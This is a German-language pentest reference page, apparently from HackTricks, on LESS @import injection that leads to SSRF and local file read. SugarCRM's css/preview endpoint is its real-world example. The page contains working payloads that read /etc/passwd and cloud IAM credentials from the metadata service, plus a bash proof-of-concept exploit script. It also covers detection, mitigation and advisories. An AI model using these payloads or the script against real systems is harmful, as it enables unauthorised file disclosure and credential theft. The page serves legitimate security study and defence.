# LESS Code Injection, die zu SSRF & Local File Read führt {{#include ../banners/hacktricks-training.md}} ## Übersicht LESS ist ein beliebter CSS-Präprozessor, der Variablen, Mixins, Funktionen und die leistungsstarke `@import`-Direktive hinzufügt. Während der Kompilierung wird die LESS-Engine **die in `@import`**-Anweisungen referenzierten Ressourcen abrufen und deren Inhalte in das resultierende CSS einbetten ("inline"), wenn die Option `(inline)` verwendet wird. Wenn eine Anwendung **benutzergesteuerte Eingaben** in einen String einfügt, der später vom LESS-Compiler geparst wird, kann ein Angreifer **willkürlichen LESS-Code** injizieren. Durch den Missbrauch von `@import (inline)` kann der Angreifer den Server zwingen, Folgendes abzurufen: * Lokale Dateien über das `file://`-Protokoll (Informationsoffenlegung / Local File Inclusion). * Remote-Ressourcen in internen Netzwerken oder Cloud-Metadaten-Diensten (SSRF). Diese Technik wurde in realen Produkten wie **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview`-Endpunkt) beobachtet. ## Ausnutzung 1. Identifizieren Sie einen Parameter, der direkt in einen Stylesheet-String eingebettet ist, der von der LESS-Engine verarbeitet wird (z. B. `?lm=` in SugarCRM). 2. Schließen Sie die aktuelle Anweisung und injizieren Sie neue Direktiven. Die häufigsten Primitiven sind: * `;` – beendet die vorherige Deklaration. * `}` – schließt den vorherigen Block (falls erforderlich). 3. Verwenden Sie `@import (inline) '';`, um willkürliche Ressourcen zu lesen. 4. Optional können Sie einen **Marker** (`data:` URI) nach dem Import injizieren, um die Extraktion des abgerufenen Inhalts aus dem kompilierten CSS zu erleichtern. ### Local File Read ``` 1; @import (inline) 'file:///etc/passwd'; @import (inline) 'data:text/plain,@@END@@'; // ``` Der Inhalt von `/etc/passwd` wird in der HTTP-Antwort kurz vor dem `@@END@@` Marker angezeigt. ### SSRF – Cloud-Metadaten ``` 1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/"; @import (inline) 'data:text/plain,@@END@@'; // ``` ### Automatisierte PoC (SugarCRM-Beispiel) ```bash #!/usr/bin/env bash # Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd TARGET="$1" # Base URL of SugarCRM instance RESOURCE="$2" # file:// path or URL to fetch INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))") curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \ sed -n 's/.*@@END@@\(.*\)/\1/p' ``` ## Detection * Suchen Sie nach dynamisch generierten `.less` oder `.css` Antworten, die unsanitized Query-Parameter enthalten. * Durchsuchen Sie bei der Code-Überprüfung Konstruktionen wie `"@media all { .preview { ... ${userInput} ... } }"` die an LESS-Renderfunktionen übergeben werden. * Exploit-Versuche enthalten oft `@import`, `(inline)`, `file://`, `http://169.254.169.254` usw. ## Mitigations * Geben Sie **keine** untrusted Daten an den LESS-Compiler weiter. * Wenn dynamische Werte erforderlich sind, **escapen**/sanitizen Sie diese ordnungsgemäß (z. B. auf numerische Tokens beschränken, Whitelists). * Deaktivieren Sie, wenn möglich, die Möglichkeit, `(inline)` Importe zu verwenden, oder beschränken Sie die erlaubten Protokolle auf `https`. * Halten Sie Abhängigkeiten auf dem neuesten Stand – SugarCRM hat dieses Problem in den Versionen 13.0.4 und 14.0.1 behoben. ## Real-World Cases | Produkt | Verwundbarer Endpunkt | Auswirkung | |---------|-----------------------|------------| | SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Unauthenticated SSRF & lokale Dateilesen | ## References * [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04) * [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/) * [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258) {{#include ../banners/hacktricks-training.md}}